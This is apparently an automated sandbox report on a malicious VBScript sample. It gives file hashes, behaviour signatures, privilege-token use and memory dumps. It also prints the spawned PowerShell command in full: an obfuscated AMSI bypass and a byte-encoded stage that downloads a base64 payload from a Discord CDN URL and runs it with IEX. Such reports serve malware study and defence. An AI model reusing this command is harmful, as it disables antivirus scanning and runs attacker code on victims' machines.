7417778071586aac382bb6d2f65a28f9104b632f0f6d05fedd2c8f7ecb07c11e

General

Target

632780baa361dd3605fcf17608d9ec39_JaffaCakes118.vbs
Size

8KB
MD5

632780baa361dd3605fcf17608d9ec39
SHA1

a163418f92f185d77e7d3325385952828f69c199
SHA256

7417778071586aac382bb6d2f65a28f9104b632f0f6d05fedd2c8f7ecb07c11e
SHA512

410c01c5836db810dcefc049d20853c96bc5f5e5e18896e0669b049ec827a7cf6eefd3bcec35781836a091c831555770a6d4f8f611864642d0616fe49bafc01e
SSDEEP

192:CIZ0fqhwP9+o6r1yIM9q2Jh9tp3F5lDBK:CgKMo6rYo2Jh9tpV5l4

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2824	2652	Powershell.exe	30

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2824	Powershell.exe
7	2824	Powershell.exe
9	2824	Powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	Powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2824	Powershell.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	2824	Powershell.exe
Token: SeIncreaseQuotaPrivilege	2824	Powershell.exe
Token: SeSecurityPrivilege	2824	Powershell.exe
Token: SeTakeOwnershipPrivilege	2824	Powershell.exe
Token: SeLoadDriverPrivilege	2824	Powershell.exe
Token: SeSystemProfilePrivilege	2824	Powershell.exe
Token: SeSystemtimePrivilege	2824	Powershell.exe
Token: SeProfSingleProcessPrivilege	2824	Powershell.exe
Token: SeIncBasePriorityPrivilege	2824	Powershell.exe
Token: SeCreatePagefilePrivilege	2824	Powershell.exe
Token: SeBackupPrivilege	2824	Powershell.exe
Token: SeRestorePrivilege	2824	Powershell.exe
Token: SeShutdownPrivilege	2824	Powershell.exe
Token: SeDebugPrivilege	2824	Powershell.exe
Token: SeSystemEnvironmentPrivilege	2824	Powershell.exe
Token: SeRemoteShutdownPrivilege	2824	Powershell.exe
Token: SeUndockPrivilege	2824	Powershell.exe
Token: SeManageVolumePrivilege	2824	Powershell.exe
Token: 33	2824	Powershell.exe
Token: 34	2824	Powershell.exe
Token: 35	2824	Powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\632780baa361dd3605fcf17608d9ec39_JaffaCakes118.vbs"
1⤵
PID:2636

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell $8B0111F552=[Ref].Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'.Autom'+'atio'+'n.A'+'m'+'si'+'Utils');$835FFE1926='4456625220575263174452554847';$9FE0AD5C66=[string](0..13|%{[char][int](53+($835FFE1926).substring(($_*2),2))})-replace ' ';$58FB808063=$8B0111F552.GetField($9FE0AD5C66,'Non^^^'.replace('^^^','Pub')+'lic,S'+'tatic');$58FB808063.SetValue($null,$true);($A72F9B815A=$A72F9B815A=Write-Host 'EC4AAB5808223EB722F9C2063ED056665AA80AC5658F9D06815720759C3EB4C4B7065724C3DEFA63DEB58FC3FA9D22121674');$894330373721432137894330373721432137894330373721432137894330373721432137=@(91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,39,83,121,39,43,39,115,116,101,109,46,39,43,39,77,97,110,97,39,43,39,103,101,109,39,43,39,101,110,116,39,43,39,46,65,117,116,111,109,39,43,39,97,116,105,111,39,43,39,110,46,39,43,36,40,91,67,72,65,114,93,40,57,56,45,51,51,41,43,91,99,72,65,114,93,40,49,50,52,45,49,53,41,43,91,99,104,65,82,93,40,49,49,53,41,43,91,67,72,97,82,93,40,91,66,89,116,101,93,48,120,54,57,41,41,43,39,85,116,105,108,115,39,41,46,71,101,116,70,105,101,108,100,40,36,40,91,67,104,65,114,93,40,91,98,121,116,101,93,48,120,54,49,41,43,91,99,104,97,82,93,40,91,98,89,116,69,93,48,120,54,68,41,43,91,99,104,97,114,93,40,91,98,121,84,101,93,48,120,55,51,41,43,91,99,104,65,114,93,40,49,49,48,45,53,41,43,91,99,104,65,82,93,40,91,66,89,84,69,93,48,120,52,57,41,43,91,99,72,97,82,93,40,57,54,56,48,47,56,56,41,43,91,99,72,97,82,93,40,49,48,53,41,43,91,67,104,97,114,93,40,91,98,89,116,101,93,48,120,55,52,41,43,91,67,104,97,114,93,40,91,66,89,84,69,93,48,120,52,54,41,43,91,99,104,97,114,93,40,49,52,56,45,53,49,41,43,91,99,72,65,82,93,40,57,53,53,53,47,57,49,41,43,91,67,104,65,82,93,40,49,48,56,41,43,91,67,104,65,114,93,40,54,50,54,50,47,54,50,41,43,91,67,104,65,82,93,40,91,98,89,84,69,93,48,120,54,52,41,41,44,39,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,39,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,36,116,114,117,101,41,59,40,36,68,48,48,70,57,70,49,85,67,54,61,36,68,48,48,70,57,70,49,85,67,54,61,87,114,105,116,101,45,72,111,115,116,32,39,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,39,41,59,100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,36,66,48,50,65,53,50,65,48,56,49,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,66,48,50,65,53,50,65,48,56,49,59,36,65,68,48,48,70,57,70,49,85,67,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,32,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,59,36,65,68,48,48,70,57,70,49,85,67,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,115,58,47,47,99,100,110,46,100,105,115,99,111,114,100,97,112,112,46,99,111,109,47,97,116,116,97,99,104,109,101,110,116,115,47,56,57,52,51,51,48,51,55,51,55,50,49,52,51,50,49,51,55,47,56,57,52,51,51,48,52,52,49,55,56,54,53,57,55,51,55,54,47,100,105,116,116,121,46,106,112,103,39,44,36,102,97,108,115,101,41,59,36,65,68,48,48,70,57,70,49,85,67,46,115,101,110,100,40,41,59,36,54,55,52,69,49,54,53,67,56,51,61,91,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,39,85,84,70,56,39,46,39,71,101,116,83,116,114,105,110,103,39,40,91,67,111,110,118,101,114,116,93,58,58,39,70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103,39,40,36,65,68,48,48,70,57,70,49,85,67,46,114,101,115,112,111,110,115,101,84,101,120,116,41,41,124,73,96,69,96,88);[System.Text.Encoding]::ASCII.GetString($894330373721432137894330373721432137894330373721432137894330373721432137)|I`E`X
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2824

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Cab10C.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar11F.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
memory/2824-4-0x000007FEF5CCE000-0x000007FEF5CCF000-memory.dmp

Filesize
4KB

Download
memory/2824-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2824-5-0x000000001B550000-0x000000001B832000-memory.dmp

Filesize
2.9MB

Download
memory/2824-7-0x000007FEF5A10000-0x000007FEF63AD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-9-0x000007FEF5A10000-0x000007FEF63AD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-8-0x000007FEF5A10000-0x000007FEF63AD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-10-0x000007FEF5A10000-0x000007FEF63AD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-11-0x000007FEF5A10000-0x000007FEF63AD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-60-0x000007FEF5A10000-0x000007FEF63AD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing